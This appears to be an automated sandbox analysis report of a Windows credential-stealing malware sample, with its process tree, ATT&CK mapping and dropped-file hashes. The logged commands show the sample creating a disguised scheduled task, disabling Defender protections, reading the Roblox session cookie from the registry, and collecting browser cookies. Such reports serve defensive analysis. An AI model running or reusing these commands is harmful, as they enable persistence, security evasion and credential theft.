"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:3528

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:744

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:1908

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:3636

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:3672

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:4264

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
2⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2200

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:4068

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:3040

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:4624

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:1320

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\x5drfucs.3zw.exe"' & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:4560

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\x5drfucs.3zw.exe"'
3⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:832

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\x5drfucs.3zw.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\x5drfucs.3zw.exe"
4⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:4872

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" csproduct get uuid
5⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1708

C:\Windows\SYSTEM32\attrib.exe
"attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\x5drfucs.3zw.exe"
5⤵
- Views/modifies file attributes
PID:892

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\x5drfucs.3zw.exe'
5⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1584

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
5⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:5004

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
5⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:316

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
5⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2968

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" os get Caption
5⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:224

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" computersystem get totalphysicalmemory
5⤵
- Loads dropped DLL
PID:736

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" csproduct get uuid
5⤵
- Loads dropped DLL
PID:2532

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
5⤵
- Loads dropped DLL
PID:832

C:\Windows\System32\Wbem\wmic.exe
"wmic" path win32_VideoController get name
5⤵
- Loads dropped DLL
- Detects videocard installed
PID:3056

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\x5drfucs.3zw.exe" && pause
5⤵
PID:4256

C:\Windows\system32\PING.EXE
ping localhost
6⤵
- Runs ping.exe
PID:5000

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
PID:220

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:4984

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
PID:2288

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:3568

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
PID:3180

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:4832

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
PID:4524

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:4244

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
PID:5116

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:1796

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
PID:3876

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:5024

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
PID:4928

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:2012

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
PID:1764

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:4100

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
PID:4724

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:1700

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
PID:1624

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:1908

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
PID:4364

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:4412

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
PID:2032

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:2484

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
PID:1192

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:4468

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
PID:888

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:804

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
PID:1512

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:3060

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
PID:2700

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:4356

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
PID:2820

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:728

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
PID:4288

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:1524

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
PID:1628

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:4928

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
PID:4664

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:3312

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2228

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:3724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx
Filesize
64KB

MD5
d2fb266b97caff2086bf0fa74eddb6b2

SHA1
2f0061ce9c51b5b4fbab76b37fc6a540be7f805d

SHA256
b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a

SHA512
c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
Filesize
4B

MD5
f49655f856acb8884cc0ace29216f511

SHA1
cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

SHA256
7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

SHA512
599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val
Filesize
944B

MD5
6bd369f7c74a28194c991ed1404da30f

SHA1
0f8e3f8ab822c9374409fe399b6bfe5d68cbd643

SHA256
878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d

SHA512
8fc5f073dc9fa1e1ae47c60a5f06e0a48709fd6a4302dffaa721858409e7bde64bc6856d3fb28891090516d1a7afc542579de287778b5755eafe75cc67d45d93

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\x5drfucs.3zw.exe.log
Filesize
1KB

MD5
547df619456b0e94d1b7663cf2f93ccb

SHA1
8807c99005eaf2cc44b0b5ec4fc6eac289bfb4e3

SHA256
8b7130cc966f3f78e236b4e51eb12e1c82b0bd3f0773275d619b5c545168797a

SHA512
01b4e32fdf6c7f2347075c8153bc75a2f32fe3cec19e1a777e263ec4f607b54e046f0e4c7c0bc22581d44cbbdbb076a63eaa50a742f381faad06c86c2b10f67f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
0c5348f7d6ae5ae4f688df9f8481823d

SHA1
6ee5b8fcff32e3f790b30ca145c13375aa6dae0d

SHA256
092b25fe912599ec5c4457f26a7160ebfa98551abb663e5f96158ebaab13034b

SHA512
041122db23f35dfce15a5a330fde4612692bace13d1d30843690a0b1b604946e32191221527ba0115e471e2a15ada135765aa87d62d47b0d65a0da4edb71d9bb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
96ff1ee586a153b4e7ce8661cabc0442

SHA1
140d4ff1840cb40601489f3826954386af612136

SHA256
0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8

SHA512
3404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
948B

MD5
39c2ac09b52b0685c7da5b25746d8a64

SHA1
c0ac1559da69dc9ad0496c11ce37ef9b907ea656

SHA256
c582429e23c81918907db9c7f32bef2d32c873f2da84fa450707482408e3a160

SHA512
9a6f4c5944cecdd6cf2114f7db583e4742a93b3c9eec6fd60328585370a8ba2f917f7ce689c0341d2dbf391f58ff34ee0088d9d2158ebb2450c547257da095a1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
1726a06b1e2471258cc0d0da880b0734

SHA1
e03d53ceff0137aa8932334571c6e2988b475d14

SHA256
4298c061a28200fcd3211c61842f4f39410158753938151756c19367eefc58be

SHA512
ff9c7a556993d23123845407eb1dc3c0586eac692a877aa784fb577ceb381fd4700fa0b397a9276aa1da633704769005425344ecf485bae4f0793c365509a92c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
ae85c1e4a8a5415e57b3ac516f2964bf

SHA1
8be3f0538f41d24afaf47c2a6c1764b954190e8a

SHA256
9fed6a56624cf895c26311a19f3c1a0a78c0b92c00ae626d8492f2bf418f269f

SHA512
b47558e9977ea42395ddba0d3eefcc4d8a0d6c0bd8e9639ecedc9ae10834f3ab2c91827ecd0deaa2c2341f9612655776cc3ad8a34f0f7f020d3efc24f00c2cd8

Download Submit
C:\Users\Admin\AppData\Local\Temp\1snpe503jBEvUpu.ligma
Filesize
423KB

MD5
47a21e82f9b46d893d49273b4dc84a70

SHA1
2802fa59ca7df9024495dd471bc45a0767647bb7

SHA256
539a6d338b9671479edd07178032deade637bc2cd10b5a150da1b9787d3e6da9

SHA512
9238b641f6ecb7271edaa59d776f86bd0edbbb3ed574b5c86e28d9b2932f53609abac33bb5b5f0973e30d4750f8502ca0b09f6f909fe94488a1f909d6ea0de68

Download Submit
C:\Users\Admin\AppData\Local\Temp\1snpe503jBEvUpu\Browsers\Cookies\Chrome Cookies.txt
Filesize
224B

MD5
2d66d955e6d676db89116d677757832f

SHA1
4376d860e74a7a3caaccdb68007d48c16b349e3c

SHA256
0acd7f6f1a4d35d224b253e5d59462e5d336dd022992b2acad2e81e18c61d954

SHA512
42266d0023cb054e5f18f4d06ff7e0900e611d0d6e0894b8d9e1fc67338d59ccd630a39fe568e80a280cb2f7b879a679dfa03838fcbe1d5ed5552a60e8d10d63

Download Submit
C:\Users\Admin\AppData\Local\Temp\1snpe503jBEvUpu\Display\Display.png
Filesize
426KB

MD5
26355da9122dbf8403f7e0ab42d713fc

SHA1
ea3d02af9cebf68b0dd16ffc2548c67693aaf1ad

SHA256
69b75d9c5af2143eb39997618fa5fcef0f91506d197336db6a9e7fc557832617

SHA512
1b9fdb382285b251eefdf178f4ab10ff7d6199faf15e0082c47499329a45e85ffc7213e31c01d26a0b5bb656cf78fc26cc2cf7074aa631c465bbd7314913a7dc

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ds0fpfk.msq.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\x5drfucs.3zw.exe
Filesize
229KB

MD5
a77ad875932600ec52af6a1ea7fc65ae

SHA1
f5ee833f1ab363e5dd70526dd618b92d86c77f80

SHA256
20c99e2aa0de86267ed7d713c90ab281fec37ec6fd10e624042b520ed8ca0ae3

SHA512
c1612cf79cd6557e92502ddb0c222e34c077169bb61be5c37c6c203fb3b0894cbf897dea59b246a54a02d53bb589d21a231060b70416f478ae2ac8ab1ef3759c

Download Submit
C:\Windows\xdwd.dll
Filesize
136KB

MD5
16e5a492c9c6ae34c59683be9c51fa31

SHA1
97031b41f5c56f371c28ae0d62a2df7d585adaba

SHA256
35c8d022e1d917f1aabdceae98097ccc072161b302f84c768ca63e4b32ac2b66

SHA512
